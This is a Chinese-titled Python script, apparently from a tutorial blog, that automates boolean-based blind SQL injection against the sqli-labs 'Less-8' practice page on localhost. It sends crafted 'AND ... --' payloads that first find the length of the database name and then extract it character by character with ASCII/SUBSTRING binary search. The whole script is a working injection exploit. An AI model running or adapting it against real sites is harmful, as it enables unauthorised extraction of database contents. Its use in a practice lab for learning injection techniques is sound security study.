python自动化实现布尔盲注

import requests

# 目标URL
url = "http://127.0.0.1/sqli/Less-8/index.php"

# 要推断的数据库信息（例如：数据库名）
database_name = ""

# 字符集（可以根据需要扩展）
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-. "

# 计算字符集的ASCII范围
min_ascii = min(ord(c) for c in charset)
max_ascii = max(ord(c) for c in charset)


# 推断数据库名的长度
def get_database_length():
    length = 0
    while True:
        length += 1
        payload = f"1' AND (SELECT length(database()) = {length}) -- "
        response = requests.get(url, params={"id": payload})
        if "You are in..........." in response.text:
            return length
        if length > 50:  # 防止无限循环
            break
    return 0


# 使用二分查找推断数据库名
def get_database_name(length):
    db_name = ""
    for i in range(1, length + 1):
        low = min_ascii
        high = max_ascii
        char_found = False

        # 二分查找当前字符的ASCII值
        while low <= high:
            mid = (low + high) // 2

            # 检查当前字符是否小于等于mid
            payload_le = f"1' AND (SELECT ASCII(SUBSTRING(database(), {i}, 1)) <= {mid}) -- "
            response_le = requests.get(url, params={"id": payload_le})

            if "You are in" in response_le.text:
                # 检查是否等于mid
                payload_eq = f"1' AND (SELECT ASCII(SUBSTRING(database(), {i}, 1)) = {mid}) -- "
                response_eq = requests.get(url, params={"id": payload_eq})

                if "You are in" in response_eq.text:
                    db_name += chr(mid)
                    char_found = True
                    break
                high = mid - 1  # 不大于mid，缩小上限
            else:
                low = mid + 1  # 大于mid，提高下限

        if not char_found:
            db_name += "?"  # 未找到字符时的占位符

    return db_name


# 主函数
if __name__ == "__main__":
    length = get_database_length()
    if length > 0:
        print(f"Database length: {length}")
        db_name = get_database_name(length)
        print(f"Database name: {db_name}")
    else:
        print("Failed to determine database length.")